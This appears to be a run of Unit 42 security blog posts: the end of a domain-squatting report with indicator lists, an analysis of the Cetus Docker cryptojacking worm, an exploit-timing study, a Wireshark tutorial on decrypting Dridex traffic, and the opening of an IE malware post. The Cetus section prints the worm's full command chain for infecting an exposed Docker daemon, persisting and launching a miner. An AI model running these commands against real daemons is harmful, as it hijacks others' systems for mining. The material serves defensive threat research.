Another popular scam offers users rewards such as free products or money. When we initially captured facebookwinners2020[.]com, it was under development with placeholder images and texts, as shown in Figure 14.a. However, the perpetrators recently replaced placeholders with meaningful content. From the screenshot, we could tell the page mimics a free lottery related to Facebook. To claim the prize, users need to fill out a form with their personal information such as date of birth, phone number, occupation and income (Figure 14.b).

In our research, we found a cybersquatting domain still under construction, as shown here. — Figure 14.a. Reward scam page under development: facebookwinners2020[.]com

This screenshot shows the same cybersquatting domain once it was fully developed. This is an example of a reward scam, in this case mimicking Facebook. — Figure 14.b. An application form on facebookwinners2020[.]com requesting personal information.

Domain Parking

A common and easy way to monetize user traffic is to use a parking service by pointing the squatting domain’s IP address or NS record to the parking service’s servers. Figure 15 provides an example of a parked domain mimicking RBC Royal Bank, rbyroyalbank[.]com, leveraging a popular parking service, ParkingCrew, to generate profit based on how many users land on the site and click the advertisements. In some cases, parking services also redirect users to scam and phishing pages. As the hostname in the certificate is different from the squatting domain, the browser will label it as “Not secure.” Parked pages usually show users a list of advertisements related to the parked domain. In our example, the ads shown are related to financial services.

This shows an example of how cybersquatting domains sometimes take advantage of parking services. In this case, the page is designed to mimic RBC Royal Bank. — Figure 15. A parked page for rbyroyalbank[.]com

Conclusion

In summary, domain squatting techniques leverage the fact that users rely on domain names to identify brands and services on the Internet. These squatting domains are often used for nefarious activities, including phishing, malware and PUP distribution, C2 and various scams. A high rate of malicious and suspicious usage among squatting domains was observed. Therefore, continuous monitoring and analysis of these domains are necessary to protect users.

Palo Alto Networks monitors newly registered domains and newly observed hostnames from pDNS and Zone files to capture emerging squatting campaigns. Our automatic pipeline publishes the domains it detects to URL Filtering and DNS Security using the appropriate category, including malware, phishing, C2 or grayware.

Analyzing the squatting ecosystem, we found that domain squatters prefer certain types of target domains, registrars, hosting services and certificate authorities. The following attributes are common in cases of malicious squatted domains:

Domain names that are targeting known financial, shopping and banking domains.
Domains that use frequently abused registrars and hosting services.
Domains that do not have completely validated SSL certificates.

Therefore, we advise everyone to be more careful when encountering these domains.

Palo Alto Networks customers using URL Filtering, DNS Security, WildFire and Threat Prevention are protected from the threats related to squatting domains mentioned in this blog. Using AutoFocus, our customers can further study the malware mentioned in this blog by using the tag AzoRult.

Acknowledgements

Special thanks to Daiping Liu, Kelvin Kwan, Laura Novak, Jun Javier Wang, Vicky Ray, Eddy Rivera, Erica Naone and Arun Kumar for their help with improving the blog.

IOCs

Sha256

5acd6d9ac235104f90f9a39c11807c37cdfb103d6c151cc1a2e4e38bf3dbe41f

fa28b59eb0ccd21d3994b0778946679497399b72c2e256ebf2434553cb7bf373

e7fb436bf7d8784da092315bce1d3511a6055da41fe67362bad7a4c5d3f0294e

JA3 Pair

Client JA3: 6312930a139fa3ed22b87abb75c16afa

Sever JA3: 4192c0a946c5bd9b544b4656d9f624a4

Malware/Phishing Squatting Hostname

amazon-india[.]online

apple.com.recover[.]support

com-finder-me[.]info

com-secure-login[.]info

facebook.com-account-login-manage.yourfiresale[.]com

icloud.com-iphone[.]support

microsoft-alert[.]club

microsoft-sback-server[.]com

microsoft-store-drm-server[.]com

microsofŧ[.]com (xn--microsof-wyb[.]com)

netflix-payments[.]com

netflixbrazilcovid[.]com

rbyroyalbank[.]com

safety.microsoft.com.mdmfmztwjj.l6kan7uf04p102xmpq[.]bid

samsungeblyaiphone[.]com

samsungpr0mo[.]online

secure-wellsfargo[.]org

store-in-box[.]com

stt-box[.]com

www.icloud.com-secure-login[.]info

Grayware Hostname

4ever21[.]com

facebookwinners2020[.]com

micposoft[.]com

walrmart44[.]com

whatsalpp[.]com

URL

samsungeblyaiphone[.]com/dolce.exe

samsungeblyaiphone[.]com/index.php

IP

217.182.227[.]117

Anti-cybersquatting Consumer Protection Act (ACPA) (15 USC §1125(d)) ↑

Cetus: Cryptojacking Worm Targeting Docker Daemons

Posted on August 27, 2020June 6, 2024 by Aviv Sasson

Executive Summary

Unsecured Docker daemons have been known to security professionals as a major threat since the early days of containers. Unit 42 recently wrote about Graboid, the first-ever Docker cryptojacking worm and unsecured Docker daemons. I conducted additional research by setting up a Docker daemon honeypot in order to examine how things look for an average Docker daemon in the wild and learn if the shift to the cloud caused by COVID-19 increased the prevalence and sophistication of targeted cloud attacks.

This blog will detail the discovery of Cetus, a new and improved Docker cryptojacking worm mining for Monero that was found in a Docker daemon honeypot we created. Cetus was created by TeamTnT, a group that's been attacking AWS and Docker daemons.

Palo Alto Networks customers running Prisma Cloud are protected from this through the Prisma Cloud Compute host compliance protection, which alerts on an insufficient Docker daemon configuration and suggests a solution.

The Honeypot

To conduct the research, I set isolated restricted Docker daemons and logged all the traffic coming through for the month of May. During that period of time, I witnessed various kinds of attacks, delivering anything from botnets to worms, and most of them were for the purpose of cryptojacking, especially for Monero.

One of the most frequent attacks captured my attention because it had a potential pattern of a worm. Unlike other attacks, here the honeypot was attacked from many different unsecured Docker daemon instances. According to my honeypot deployments and other research projects on container security, it is not common to see worms targeting unsecured Docker daemons. I decided to analyze the payload and determined that this was a new Docker worm: Each instance of the malware attempts to discover and infect other Docker daemon instances, in the local network and outside.

How Cetus Works

In Greek mythology, there are stories about a whale-like creature that looks innocuous but is actually a sea monster that wreaks havoc wherever it goes. The name of that creature is Cetus. Since the malware is aiming for Docker daemons and trying to disguise itself as legitimate binaries, I decided to name it Cetus.

Cetus disguises itself by impersonating a legitimate binary that is frequently used in Docker environments called Portainer. Portainer is a user interface (UI) management tool that offers a convenient way to manage multiple Docker environments. While taking over a new machine, Cetus copies itself to the victim and deploys an XMRig cryptominer payload. Cetus disguises the cryptominer as a different legitimate binary called docker-cache. It looks like a legitimate name but, unlike Portainer, it is not a name of a genuine binary.

The Cetus life cycle starts with two functions: miner_start and scan_start, which follow the flow illustrated here. The final step is to cause the victim to create an Ubuntu container, update repositories, install Masscan and Docker, copy Cetus and XMRig, add persistence through .bash_aliases, and then restart the container and run Cetus. — Figure 1. Cetus life cycle.

The infection mechanism is simple and effective. Cetus uses Masscan to randomly scan subnets for Docker daemons and, once it finds one, it tries to spread by sending requests to daemon’s REST API. To add insult to injury, Cetus crafts these requests by using the Docker command line interface (CLI) tool.

The attack flow of Cetus is described in Figure 1. Specifically, the commands that Cetus runs are:

Check the daemon is exploitable and was not infected:

docker -H <victim> ps -a

1	docker -H <victim> ps -a

Run a new container of ubuntu:18.04 from Docker Hub:

docker -H <victim> run -dt --name <name> --restart always ubuntu:18.04 /bin/bash

1	docker -H <victim> run -dt --name <name> --restart always ubuntu:18.04 /bin/bash

Update the package manager lists:

docker -H <victim> exec <name> apt-get -yq update

1	docker -H <victim> exec <name> apt-get -yq update

Install Masscan and Docker through the package manager:

docker -H <victim> exec <name> apt-get install masscan docker.io

1	docker -H <victim> exec <name> apt-get install masscan docker.io

Copy the malicious portainer and docker-cache binaries to the container:

docker -H <victim> cp -L docker-cache <name>:/usr/bin/
docker -H <victim> cp -L portainer <name>/usr/bin/

1 2	docker -H <victim> cp -L docker-cache <name>:/usr/bin/ docker -H <victim> cp -L portainer <name>/usr/bin/

Add Cetus to “/root/.bash_aliases. It will cause Cetus to run every time the container restarts or root starts a bash session:

docker -H <victim> exec <name> bash --norc -c `echo /usr/bin/portainer <name> >/dev/null` 2>/dev/null &

1	docker -H <victim> exec <name> bash --norc -c `echo /usr/bin/portainer <name> >/dev/null` 2>/dev/null &

Restart the container in order to run Cetus:

docker -H <victim> restart <name>

1	docker -H <victim> restart <name>

Reverse Engineering Cetus

Reverse engineering Cetus was easy and fast since it doesn’t use any anti-debugging or obfuscation techniques and even has symbols. On the other hand, this was not the case with the miner. XMRig miner is one of the most widely used cryptominers for cryptojacking attacks, hence security tools treat it as a virus. Therefore, in order to deceive them in this attack, it was fully obfuscated, which made the reverse engineering process harder.

In addition, we can conclude the malware is new because it uses XMRig 5.5.3, which was released on Feb. 2, 2020.

Cetus’s architecture is simple. It contains two main functions:

miner_start and scan_start.

"The code pictured here reads as follows: miner_start(); while ( 1 ) { random = rand(); and other lines not reproduced in plaintext here. This code starts Cetus's two main functions." — Figure 2. Cetus main function.

The function miner_start is straightforward. It opens /var/log/stmp.log in order to log Cetus’s actions, and after that, it runs the XMRig cryptominer, which utilizes the machine’s CPU in order to mine Monero.

The function scan_start is much more interesting and executes the core malware functionality. It picks a random 16-bit subnet and runs Masscan in order to scan the subnet for Docker daemons on port 2375. When it finds a daemon, it starts the infection process using the Docker CLI tool that was already downloaded.

An interesting thing about the malware is that every time it infects a Docker daemon, it calls the container in a different name. It has two lists of eight names each, and it randomly picks a name from each list and links them.

This figure contains examples of the names used by Cetus, including boorish_peristeronic, verdant_quire and limpid_oxter. — Figure 3. Malicious container names.

Then Cetus will run the miner with the name as an argument. The miner will identify itself to the mining pool with this name and send the actor information about the mining. That will allow the attacker to classify each miner and create statistics about the miners and the campaign through the mining pool API.

We can conclude from this and the logs mechanism that the operator of this worm wants to monitor everything carefully.

Conclusion

Malware targeting containers will gradually become more complex as attackers understand the potential of the cloud. This is the second Docker cryptojacking worm documented by Unit 42 after Graboid. In addition, we were able to link Cetus to TeamTNT, a group that's been attacking AWS and Docker daemons that used the same Monero wallet address as Cetus. We conclude that there is a growing trend of sophisticated attacks on the cloud.

This shows an example of a Prisma Cloud host alert, warning of an insufficient Docker daemon configuration – an issue that could make a Docker daemon vulnerable to Cetus. — Figure 4. Prisma Cloud host alert

Indicator of Compromise

Files

Filename	SHA256
docker-cache	e03cf2af46ad1fe590e63f0020243c6e8ae94f074e65ace18c6d568283343dac
portainer	b49a3f3cb4c70014e2c35c880d47bc475584b87b7dfcfa6d7341d42a16ebe443

Table 1.Malware hashes

Mining Information

Pool

pool.minexmr.com:443

Payment Address

85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7MLi9VYSamf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bft5m2NN71CmNLoh

Container Names

baleful_gormmet

baleful_obelus

baleful_agelast

baleful_amatorculist

baleful_peristeronic

baleful_hirquiticke

baleful_oxter

baleful_quire

boorish_gormmet

boorish_obelus

boorish_agelast

boorish_amatorculist

boorish_peristeronic

boorish_hirquiticke

boorish_oxter

boorish_quire

adroit_gormmet

adroit_obelus

adroit_agelast

adroit_amatorculist

adroit_peristeronic

adroit_hirquiticke

adroit_oxter

adroit_quire

fecund_gormmet

fecund_obelus

fecund_agelast

fecund_amatorculist

fecund_peristeronic

fecund_hirquiticke

fecund_oxter

fecund_quire

limpid_gormmet

limpid_obelus

limpid_agelast

limpid_amatorculist

limpid_peristeronic

limpid_hirquiticke

limpid_oxter

limpid_quire

risible_gormmet

risible_obelus

risible_agelast

risible_amatorculist

risible_peristeronic

risible_hirquiticke

risible_oxter

risible_quire

verdant_gormmet

verdant_obelus

verdant_agelast

verdant_amatorculist

verdant_peristeronic

verdant_hirquiticke

verdant_oxter

verdant_quire

zealous_gormmet

zealous_obelus

zealous_agelast

zealous_amatorculist

zealous_peristeronic

zealous_hirquiticke

zealous_oxter

zealous_quire

The State of Exploit Development: 80% of Exploits Publish Faster than CVEs

Posted on August 26, 2020June 6, 2024 by Jay Chen

Executive Summary

With the ever-increasing number of new vulnerabilities, vulnerability management becomes one of the most critical processes in ensuring continuous business operation. While it is clear that timely patching is essential, it’s also important to know quantitatively how a delay could increase risk. What is the chance that attackers breach my organization using a CVE just disclosed or using an unknown (zero-day) vulnerability? To understand the state of vulnerability disclosure and exploit development, Unit 42 researchers analyzed 45,450 publicly available exploits in Exploit Database at the time of this writing. The research correlated the exploit data with vulnerability and patch information to study exploit development in multiple facets.

The research reveals that:

Of the 45,450 public exploits in Exploit Database, there are 11,079 (~26%) exploits in Exploit Database that have mapped CVE numbers.
Among those 11,079 exploits:
- 14% are zero-day (published before the vendors release the patch), 23% are published within a week after the patch release and 50% are published within a month after the patch release. On average, an exploit is published 37 days after the patch is released. Patch as soon as possible – the risk of a vulnerability being exploited increases quickly after vendors release the patches.
- 80% of public exploits are published before the CVEs are published. On average, an exploit is published 23 days before the CVE is published. Software and hardware may also have vulnerabilities with public exploits that don't have CVEs. Check security updates from vendors frequently and apply updates as soon as possible.

We also reviewed the entire CVE list since 1999 and found that, on average, a CVE is published 40 days after its CVE-ID is assigned. Of the 177,043 entries we analyzed at the time of this writing, more than 10,000 CVEs have been in “reserved” status for more than two years. It shows that there is a long delay between vulnerability discovery and CVE publication.

Lastly, we looked at the top 10 most routinely exploited vulnerabilities in 2016-19 according to the U.S. Cybersecurity Infrastructure and Security Agency (CISA) to highlight the time difference between vulnerability, exploit and patch publication. Of note, major software vendors handle vulnerability patching much faster and have lower percentages of public zero-day exploits.

Palo Alto Networks customers can get assistance with vulnerability management through products including:

The Threat Prevention subscription for the Next-Generation Firewall.
Prisma Cloud, which can assist with vulnerability management by alerting users to and helping protect against attack scenarios, combining behavior-based analytics with the Prisma Cloud Intelligence Stream.
Cortex XSOAR, which can help optimize vulnerability management.

Many Palo Alto Networks products are powered by high-fidelity threat intelligence from AutoFocus and WildFire, which help keep up to date on threats in the wild.

Exploit Database Overview

Exploit Database is the largest repository for public exploits. At the time of this writing, there are 45,450 exploits in Exploit Database. Figure 1 left shows the number of exploits categorized by the exploit type and publication year. Figure 1 right shows the distribution of exploits by platform. The statistics show that web applications have been the most popular exploited targets since 2003.

Left side bar graph shows number of exploits published since 2000, categorized by Web apps, Paper, Shell code, remote, local or DOS. The pie chart on the right categorizes the state of exploit development based on the platforms they were written on, including unix, linux x86, cgi, asp, hardware, linux, windows and multiple platforms. — Figure 1. Left: Exploits published since 2000 categorized by exploit types. Right: The platform that exploits were written on.

Figure 2 shows the Common Vulnerability Scoring System 2.0 (CVSS) scores and the severity of the exploits. 49% of the exploits have high severity (CVSS >=7), and 45% of the exploits have medium severity (CVSS <7 and CVSS >= 4). In other words, 94% of the public exploits are developed for vulnerabilities with medium or high severity.

The bar graph on the left shows number of exploits (y-axis) and CVSS score (x-axis). The pie chart on the right illustrates the state of exploit development in terms of severity, categorized as low (CVSS < 4), medium (CVSS < 7 and >= 4) and high (CVSS >=7). — Figure 2. Exploits published since 2000 categorized by vulnerability severity.

Timing Between Vulnerability, Patch and Exploit

To better understand the impact of public exploits, we analyzed exploits and their associated CVEs together. Note that not every exploit has an associated CVE. Some exploits simply don’t have CVE entries, and some exploits may belong to CVEs that are not yet published. Currently, there are 11,079 (~26%) exploits in Exploit Database that have mapped CVE numbers. We focused on the exploits with CVEs and analyzed the timings between vulnerability, exploit and patch publication.

Figure 3 shows a timeline from vulnerability discovery to CVE publication. The exact vulnerability discovery time is usually unknown, but the times that CVE-ID is assigned and the times that CVEs are published can be found in the CVE database. Typically, CVEs are published right after the vendors release the patch. Once the patch is released, adversaries who have access to the updated software can uncover the vulnerability by reverse-engineering the patch. As we will see, most exploits are developed and published in the first week of patch release. Some vendors may delay the CVE publication to give their customers more time to update.

When a CVE is officially published, information about the vulnerability is immediately available to the entire world. This is whenmost security vendors start developing their vulnerability signature and protection strategy. It is also the time that most adversaries begin to exploit the vulnerabilities. In this time-sensitive game between hackers and defenders, whoever acts faster has a better chance to win. This means the publication timings between CVE, patch and exploit provide interesting context about the ongoing struggle for security.

The chart shows possible timelines for exploit development, illustrating what is considered a zero-day vulnerability vs. what is considered an N-day vulnerability, showing both in terms of when vulnerabilities are discovered, when a CVE is assigned, when a patch is released and when a CVE is published. — Figure 3. The timeline of vulnerability discovery/publication, patch release and exploit publication.

Number of exploits (y-axis) vs. Week from exploit publication and patch release (x-axis) — Figure 4. The number of exploits published in different weeks after the patches are released. Zero-day exploits (published before the patch) have negative week indices.

Figure 4 shows the number of exploits published in different weeks after the patches are released. The bar above week 1 indicates the number of exploits published in the first week of the patch release. Exploits published before the patch release date (zero-day exploits) have negative week indices. Because vulnerability patch dates are not available in Exploit Database or a CVE database, we sampled 500 high-severity exploits since 2015 and manually identified their patch dates from the vendor sites. 14% of the exploits we studied were published before the patches, 23% of the exploits were published in the first week and 50% of the exploits were published in the first month. On average, an exploit is published 37 days after the patch is released. Since exploits come out so quickly on average, it underscores how imperative it is for organizations to practice regular and timely patching – it’s all too common to see years-old vulnerabilities still unpatched in running systems.

Figure 5 shows the number of exploits published in different weeks after the CVE is published. Similar to Figure 4, exploits published before the CVE publication have negative week indices. It is shocking to see that 80% of the exploits we studied were published before the CVEs are published. On average, an exploit is published 23 days before the CVE is published. On top of this, there are also the 75% of exploits in the database that don't have associated CVEs at all. We wondered what caused such a consistent discrepancy between the patch release date and CVE publication date. We looked into the CVE database (Figure 6) and found that not all CVEs are published immediately after the patch is released. As a result, there is a good chance that an exploit is already available when the CVE is officially published – illustrating one more way that attackers are too often a step ahead of security professionals.

Number of exploits (y-axis) vs. Week from cve publication to exploit publication (x-axis) — Figure 5. The number of exploits published in different weeks after the CVE is published. Exploits published before the CVE disclosure have negative week indices.

Once a CVE-ID is assigned to a vulnerability, this CVE stays in “reserved” status. Detailed information of the reserved CVEs is kept confidential until the CVE is officially published. At the time of this writing, we analyzed 177,043 entries in the CVE list and counted the number of reserved CVEs. Figure 6 shows the number of published CVEs and reserved CVEs since 1999. On average, a CVE is published 40 days after its CVE-ID is assigned. However, more than 10,000 CVEs have been in “reserved” status for more than two years. It shows that there is often a long delay between vulnerability discovery and CVE publication. While major vendors usually have their CVE published right after the patch release, some vendors fail to update their CVE status in a timely fashion. These numbers also explain why so many exploits are made public before the CVEs are officially published (Figure 5).

Number of CVEs (y-axis) vs year (x-axis). Blue bars illustrate published CVEs and a red line illustrates reserved CVEs without a published CVE. — Figure 6. Number of published CVEs and reserved CVEs (not yet published) by year.

Case Study: Most Exploited Vulnerabilities from 2016-19

We looked into the exploits and patch information of the top 10 routinely exploited vulnerabilities that the U.S. Cybersecurity Infrastructure and Security Agency (CISA) published on May 12, 2020. Table 1 lists the details. If a CVE has multiple exploits in Exploit Database, the exploit publication date is based on the earliest published exploit. The patch information is obtained from the vendor advisory pages. In this smaller sample set, 10% of the exploits are zero-day and 40% of the exploits are available in the first week after the patch release. These numbers match the statistics drawn from Figures 4 and 5. The percentage of zero-day exploits or exploits published before the CVE disclosure is lower than what we observed in the larger sample because the most exploited vulnerabilities often affect prominent vendors such as Microsoft and Adobe, who can resolve vulnerabilities and release updates much faster than many other affected vendors . Many third-party vendors or open-source projects do not have sufficient resources to handle newly reported vulnerabilities and end up having exploits reach the public before the patches or CVE publication.

CVE	Exploit-ID	CVE Published	Exploit Published	Patch Published	CVSS2	Description
CVE-2017-11882	43163	11/14/2017	11/20/2017	11/14/2017	9.3	Memory Corruption Vulnerability in Microsoft Office Equation Editor
CVE-2017-0199	41894, 41934, 42995	4/12/2017	4/18/2017	4/11/2017	9.3	Microsoft Office/WordPad Remote Code Execution Vulnerability w/Windows API
CVE-2017-5638	41570, 41614	3/10/2017	3/7/2017	3/6/2017	10	Apache Struts RCE Vulnerability
CVE-2012-0158	18780	4/10/2012	4/25/2012	4/10/2012	9.3	MSCOMCTL.OCX RCE Vulnerability
CVE-2017-0143	41891, 41891, 41891	3/16/2017	4/17/2017	3/14/2017	9.3	Windows SMB Remote Code Execution Vulnerability
CVE-2018-4878	44412	2/6/2018	4/6/2018	2/6/2018	7.5	Adobe Flash Player Use-after-free Vulnerability.
CVE-2017-8759	42711	9/12/2017	9/13/2017	9/12/2017	9.3	.NET Framework Remote Code Execution Vulnerability
CVE-2018-7600	44448, 44448, 44482	3/29/2018	4/13/2018	3/28/2018	7.5	RCE Vulnerability in Drupal
CVE-2019-11510	47297	5/8/2019	8/21/2019	4/24/2019	7.5	Pulse Secure Arbitrary File Reading Vulnerability
CVE-2019-19781	47901	12/27/2019	1/11/2020	1/19/2020	7.5	Citrix Application Delivery Controller (ADC) Directory Traversal Vulnerability

Table 1. Top 10 exploited vulnerabilities from 2016-19.

Conclusion

New vulnerabilities are discovered in ever-increasing velocity and volume. While not every vulnerability has an exploit publicly available, there is no doubt that the majority of known vulnerabilities have an exploit somewhere. A capable reverse-engineer can develop an exploit by analyzing the associated patch. The set of 45,450 public exploits we studied represents only a small part of the reality. Many exploits are privately owned and are only traded in black markets. The number of exploits and speed of exploit development observed in our research are most likely underestimated because we did not investigate private sources. The research reaffirms the importance of timely patching and updating. The chance of being compromised increases quickly as soon as the vulnerability’s patch is released. With many vulnerability scanning tools freely available, and knowing that most vendors have patches available before the CVE disclosure, there is no reason to delay any update.

Palo Alto Networks customers can get assistance with vulnerability management through products including:

The Threat Prevention subscription for the Next-Generation Firewall.
Prisma Cloud, which can assist with vulnerability management by alerting users to and helping protect against attack scenarios, combining behavior-based analytics with the Prisma Cloud Intelligence Stream.
Cortex XSOAR, which can help optimize vulnerability management.

Many Palo Alto Networks products are powered by high-fidelity threat intelligence from AutoFocus and WildFire, which help keep up to date on threats in the wild.

Wireshark Tutorial: Decrypting HTTPS Traffic

Posted on August 21, 2020August 25, 2025 by Brad Duncan

Executive Summary

This tutorial is designed for security professionals who investigate suspicious network activity and review packet captures (pcaps) of the traffic. The instructions assume you are familiar with Wireshark, and it focuses on Wireshark version 3.x.

When reviewing suspicious network activity, we often run across encrypted traffic. Why? Because most websites use the Hypertext Transfer Protocol Secure (HTTPS) protocol. But like most websites, various types of malware also use HTTPS. When reviewing pcaps from malware activity, it’s very helpful to know what’s contained within post-infection traffic.

This Wireshark tutorial describes how to decrypt HTTPS traffic from a pcap in Wireshark. Decryption is possible with a text-based log containing encryption key data captured when the pcap was originally recorded. With this key log file, we can decrypt HTTPS activity in a pcap and review its contents.

Today, we will examine HTTPS activity from a Dridex malware infection.

Note: Our instructions assume you have customized your Wireshark column display as previously described in “Customizing Wireshark – Changing Your Column Display.”.

Here is a Github repository with a ZIP archive containing the pcap and a key log file used for this tutorial.

Warning: The pcap used for this tutorial contains Windows-based malware. There is a risk of infection if using a Windows computer. We recommend you review this pcap in a non-Windows environment like BSD, Linux or macOS if at all possible.

The Context Behind Encrypted Traffic

In the mid- to late-1990s, the most common protocol used by websites was Hypertext Transfer Protocol (HTTP), which generated unencrypted web traffic. However, as security became an increasing concern, websites started switching to HTTPS, and now we rarely see HTTP traffic from web browsing.

HTTPS is essentially an encrypted communications tunnel containing HTTP traffic. These tunnels first used Secure Sockets Layer (SSL) as an encryption protocol. Today most HTTPS traffic uses Transport Layer Security (TLS).

HTTPS Web Traffic

HTTPS traffic often reveals a domain name. For example, when viewing https://www.wireshark.org in a web browser, a pcap would show www.wireshark.org as the server name for this traffic when viewed in a customized Wireshark column display. Unfortunately, we don’t know other details like the actual URL or data returned from the server. Following the Transmission Control Protocol (TCP) stream from a pcap will not reveal the content of this traffic because it is encrypted.

The screenshots show what is seen when viewing https://www.wireshark.org in a web browser, vs. what a pcap would show when viewed in a customized Wireshark column display. — Figure 1. Traffic from HTTPS traffic to www.wireshark.org.

Wireshark - Follow TCP Stream (tcp.stream eq0) - Ethernet0 — Figure 2. TCP stream of HTTPS traffic to and from server at www.wireshark.org.

Encryption Key Log File

An encryption key log is a text file. An example is shown in Figure 3.

Wireshark-tutorial-KeysLogFile.txt - Mousepad — Figure 3. The key log file used in this tutorial.

These logs are created using a Man in the Middle (MitM) technique when the pcap is originally recorded. If no such file was created when the pcap was recorded, you cannot decrypt HTTPS traffic in that pcap.

Example of a Pcap With a Key Log File

A password-protected ZIP archive containing the pcap and its key log file is available at this Github repository. Go to the Github page, click on the ZIP archive entry, then download it as shown in Figures 4 and 5. Of note, the pcap contained in this ZIP archive provides access to a Windows-based malware sample when decrypted with the key log. As always, we recommend you exercise caution and follow steps from this tutorial in a non-Windows environment.

pan-unit42/wireshark-tutorial-decrypting-HTTPS-traffic - the screenshot shows the Github repository with the link to the ZIP archive used for this tutorial on decrypting HTTPS traffic. — Figure 4. Github repository with link to ZIP archive used for this tutorial.

pan-unit42/wireshark-tutorial-decrypting-HTTPS-traffic - the screenshot shows how downloading the ZIP archive used for this tutorial on decrypting HTTPS traffic works in the Github repository. — Figure 5. Downloading the ZIP archive for this tutorial.

Use infected as the password to extract the pcap and key log file from the ZIP archive. This will provide two files as shown in Figure 6:

Wireshark-tutorial-KeysLogFile.txt
Wireshark-tutorial-on-decrypting-HTTPS-SSL-TLS-traffic.pcap

Wireshark-tutorial-on-decrypting-HTTPS-SSL-TLS-traffic.zip - These screenshots show how to unzip the ZIP archive used for this tutorial on decrypting HTTPS traffic. — Figure 6. Key log file and pcap for this tutorial.

HTTPS Traffic Without the Key Log File

Open Wireshark-tutorial-on-decrypting-HTTPS-SSL-TLS-traffic.pcap in Wireshark. Use a basic web filter as described in this previous tutorial about Wireshark filters. Our basic filter for Wireshark 3.x is:

(http.request or tls.handshake.type eq 1) and !(ssdp)

This pcap is from a Dridex malware infection on a Windows 10 host. All web traffic, including the infection activity, is HTTPS. Without the key log file, we cannot see any details of the traffic, just the IP addresses, TCP ports and domain names, as shown in Figure 7.

Wireshark-tutorial-on-decrypting-HTTPS-SSL-TLS-traffic.zip - This screenshot shows the pcap from the tutorial on decrypting HTTPS traffic when viewed in Wireshark using the basic web filter without any decryption. — Figure 7. Viewing the pcap in Wireshark using the basic web filter without any decryption.

Loading the Key Log File

Open Wireshark-tutorial-on-decrypting-HTTPS-SSL-TLS-traffic.pcap in Wireshark. Then use the menu path Edit --> Preferences to bring up the Preferences Menu, as shown in Figure 8.

On the left side of the Preferences Menu, click on Protocols, as shown in Figure 9.

On the left side of the Wireshark - Preferences Menu, click on Protocols, as shown here. — Figure 9. Selecting Protocols in the Preferences Menu.

If you are using Wireshark version 2.x, scroll down until you find SSL and select it. If you are using Wireshark version 3.x, scroll down to TLS and select it. Once you have selected SSL or TLS, you should see a line for (Pre)-Master-Secret log filename. Click on the “Browse” button and select our key log file named Wireshark-tutorial-KeysLogFile.txt, as shown in Figures 10, 11 and 12.

Once you have selected TLS in Wireshark 3.x, you should see a line for (Pre)-Master-Secret log filename. — Figure 10. Finding the (Pre)-Master-Secret log filename field under TLS in Wireshark 3.x.

To proceed with the tutorial on decrypting HTTPS traffic, select our key log file named Wireshark-tutorial-KeysLogFile.txt after clicking the "Browse" button. — Figure 11. Selecting our key log file for this tutorial.

This shows how the screen appears in Wireshark once the key log file for the decrypting HTTPS traffic tutorial has been properly selected. — Figure 12. Once the file has been selected as the (Pre)-Master-Secret log filename, click “OK.”

HTTPS Traffic With the Key Log File

Once you have clicked “OK,” when using the basic filter, your Wireshark column display will list the decrypted HTTP requests under each of the HTTPS lines, as shown in Figure 13.

This screenshot advances the decrypting HTTPS traffic tutorial by showing how your Wireshark column display will list decrypted HTTP requests under each of the HTTPS lines. — Figure 13. HTTPS decryption in Wireshark after using the key log file.

In this pcap, we now see HTTP requests to microsoft.com and skype.com domains previously hidden in the HTTPS traffic. We also find the following traffic caused by the Dridex infection:

foodsgoodforliver[.]com - GET /invest_20.dll
105711[.]com - POST /docs.php

The GET request to foodsgoodforliver[.]com returned a DLL file for Dridex. The POST requests to 105711[.]com are command and control (C2) traffic from the Dridex-infected Windows host.

We can review the traffic by following HTTP streams. Right-click on the line to select it, then left-click to bring up a menu to follow the HTTP stream. Figures 14 and 15 show following the HTTP stream for the HTTP GET request to foodsgoodforliver[.]com.

Wireshark-tutorial-on-decrypting-HTTPS-SSL-TLS-traffic.pcap - this shows the series of clicks that allow you to follow the HTTP stream for the GET request to foodsgoodforliver[.]com — Figure 14. Following HTTP stream for the GET request to foodsgoodforliver[.]com.

Wireshark - Follow HTTP Stream (tcp.stream eq 2) - Wireshark-tutorial-on-decrypting-HTTPS-SSL-TLS-traffic.pcap - the screenshot shows how the HTTP stream indicates an EXE or DLL returned from the server — Figure 15. HTTP stream indicates an EXE or DLL returned from the server.

Since we have the key log file for this traffic, we can now export this malware from the pcap. Use the menu path File --> Export Objects --> HTTP to export this file from the pcap, as shown in Figure 16.

Wireshark-tutorial-on-decrypting-HTTPS-SSL-TLS-traffic.pcap - the screenshot shows the series of clicks required to export the malware binary used as an example in the decrypting HTTPS traffic tutorial. — Figure 16. Exporting the malware binary returned from foodsgoodforliver[.]com.

If you are in a BSD, Linux or macOS environment, open a terminal window and use the file command to confirm this is a DLL file. Then use shasum -a 256 to get the SHA256 hash of the file, as shown in Figure 17.

The screenshot from the decrypting HTTPS traffic tutorial shows how you can open a terminal window in a BSD, Linux or macOS environment, use the file command to confirm this is a DLL file, and then get the SHA256 hash of the file. — Figure 17. Getting the SHA256 hash of this malware in a Linux environment.

The SHA256 hash of this malware is:

31cf42b2a7c5c558f44cfc67684cc344c17d4946d3a1e0b2cecb8eb58173cb2f

If you search for this hash online, you should find results from at least two publicly available online sandbox environments.

Finally, we can review C2 traffic from this Dridex infection. Use your basic web filter, then follow an HTTP stream from one of the POST requests to 105711[.]com. An example from one of the HTTP streams is shown in Figure 18.

Wireshark - Follow HTTP Stream (tcp.stream eq 5) - Wireshark-tutorial-on-decrypting-HTTPS-SSL-TLS-traffic.pcap - the screenshot shows the HTTP stream from one of the Dridex C2 POST requests. — Figure 18. HTTP stream from one of the Dridex C2 POST requests.

Conclusion

This tutorial reviewed how to decrypt HTTPS traffic in a pcap with Wireshark using a key log text file. Without a key log file created when the pcap was originally recorded, you cannot decrypt HTTPS traffic from that pcap in Wireshark.

For more help with Wireshark, see our previous tutorials:

Script-Based Malware: A New Attacker Trend on Internet Explorer

Posted on August 11, 2020March 3, 2026 by Tao Yan

Executive Summary

Over the past few months, we have detected sophisticated script-based malware through Internet Explorer (IE) browser exploits that infect Windows Operating System (OS) users. We decided to investigate those scripts to identify their key features to demonstrate that they are attractive for attackers and so could lead to a trend worth paying attention to.

